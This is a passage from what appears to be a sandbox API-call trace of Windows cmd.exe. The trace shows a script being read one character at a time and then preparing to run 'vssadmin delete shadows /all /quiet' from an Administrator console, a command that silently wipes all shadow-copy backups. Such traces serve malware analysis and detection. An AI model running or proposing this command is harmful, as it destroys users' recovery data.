hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.033] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.033] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.033] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.033] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.033] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.033] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0080.033] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.033] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.033] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0080.033] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.033] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.034] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0080.034] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.034] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.034] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0080.034] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.034] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.034] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0080.034] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.034] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.034] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.034] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.034] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.034] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.034] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.034] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.035] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0080.035] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.035] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.035] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0080.035] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.035] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.035] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0080.035] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.035] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.035] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0080.035] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.035] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.035] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.035] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.035] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.036] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0080.036] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.036] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.036] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0080.036] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.036] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.036] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0080.036] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.036] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.036] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0080.036] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.036] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.036] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.036] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.036] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.037] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.037] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.037] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.037] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.037] ReadFile (in: hFile=0xf8, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x26f638, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x26f638*=0x1, lpOverlapped=0x0) returned 1 [0080.037] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0080.038] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.038] GetFileType (hFile=0xf8) returned 0x3 [0080.038] _get_osfhandle (_FileHandle=0) returned 0xf8 [0080.038] SetFilePointer (in: hFile=0xf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.038] _get_osfhandle (_FileHandle=1) returned 0x104 [0080.038] GetFileType (hFile=0x104) returned 0x3 [0080.038] _get_osfhandle (_FileHandle=1) returned 0x104 [0080.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0080.038] WriteFile (in: hFile=0x104, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x26f618, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x26f618*=0x24, lpOverlapped=0x0) returned 1 [0080.038] GetProcessHeap () returned 0x2f0000 [0080.038] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4012) returned 0x30cd20 [0080.038] GetProcessHeap () returned 0x2f0000 [0080.038] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20 | out: hHeap=0x2f0000) returned 1 [0080.039] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0080.039] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0080.039] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0080.039] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0080.039] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0080.039] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0080.039] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0080.039] GetProcessHeap () returned 0x2f0000 [0080.039] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x3097e0 [0080.039] GetProcessHeap () returned 0x2f0000 [0080.039] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x22) returned 0x304610 [0080.040] GetProcessHeap () returned 0x2f0000 [0080.040] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x3098a0 [0080.041] GetConsoleOutputCP () returned 0x1b5 [0080.041] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a59bfe0 | out: lpCPInfo=0x4a59bfe0) returned 1 [0080.041] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0080.041] GetConsoleTitleW (in: lpConsoleTitle=0x26f5d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0080.042] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0080.042] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0080.042] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0080.042] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0080.042] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0080.042] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0080.042] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0080.042] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0080.042] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0080.042] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0080.042] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0080.043] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0080.043] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0080.043] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0080.043] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0080.043] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0080.043] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0080.043] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0080.043] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0080.043] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0080.043] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0080.043] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0080.043] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0080.043] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0080.043] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0080.043] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0080.043] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0080.043] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0080.043] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0080.043] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0080.043] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0080.043] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0080.043] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0080.043] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0080.043] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0080.043] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0080.043] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0080.043] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0080.043] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0080.044] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0080.044] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0080.044] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0080.044] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0080.044] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0080.044] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0080.044] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0080.044] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0080.044] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0080.044] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0080.044] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0080.044] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0080.044] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0080.044] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0080.044] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0080.044] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0080.044] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0080.044] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0080.044] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0080.044] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0080.044] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0080.044] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0080.044] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0080.044] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0080.044] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0080.044] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0080.044] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0080.044] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0080.044] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0080.045] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0080.045] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0080.045] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0080.045] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0080.045] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0080.045] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0080.045] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0080.045] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0080.045] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0080.045] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0080.045] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0080.045] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0080.045] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0080.045] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0080.045] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0080.045] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0080.045] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0080.045] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0080.045] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0080.046] GetProcessHeap () returned 0x2f0000 [0080.046] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x2f1ab0 [0080.046] GetProcessHeap () returned 0x2f0000 [0080.046] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x5a) returned 0x2f1cd0 [0080.046] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0080.046] GetProcessHeap () returned 0x2f0000 [0080.046] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x420) returned 0x309a80 [0080.046] SetErrorMode (uMode=0x0) returned 0x0 [0080.046] SetErrorMode (uMode=0x1) returned 0x0 [0080.047] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x309a90, lpFilePart=0x26ee60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26ee60*="Desktop") returned 0x25 [0080.047] SetErrorMode (uMode=0x0) returned 0x1 [0080.047] GetProcessHeap () returned 0x2f0000 [0080.047] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309a80, Size=0x6e) returned 0x309a80 [0080.047] GetProcessHeap () returned 0x2f0000 [0080.047] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309a80) returned 0x6e [0080.047] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0080.047] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.047] GetProcessHeap () returned 0x2f0000 [0080.047] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x128) returned 0x305b70 [0080.047] GetProcessHeap () returned 0x2f0000 [0080.047] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x240) returned 0x309b00 [0080.053] GetProcessHeap () returned 0x2f0000 [0080.053] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309b00, Size=0x12a) returned 0x309b00 [0080.053] GetProcessHeap () returned 0x2f0000 [0080.054] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309b00) returned 0x12a [0080.054] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0080.054] GetProcessHeap () returned 0x2f0000 [0080.054] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xe8) returned 0x309c40 [0080.054] GetProcessHeap () returned 0x2f0000 [0080.054] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309c40, Size=0x7e) returned 0x309c40 [0080.054] GetProcessHeap () returned 0x2f0000 [0080.054] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309c40) returned 0x7e [0080.590] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.590] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x26ebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ebd0) returned 0xffffffffffffffff [0080.591] GetLastError () returned 0x2 [0080.591] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x26ebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ebd0) returned 0xffffffffffffffff [0080.591] GetLastError () returned 0x2 [0080.591] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.591] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x26ebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ebd0) returned 0x2f1d40 [0080.591] GetProcessHeap () returned 0x2f0000 [0080.591] RtlAllocateHeap (HeapHandle=0x2f0000, 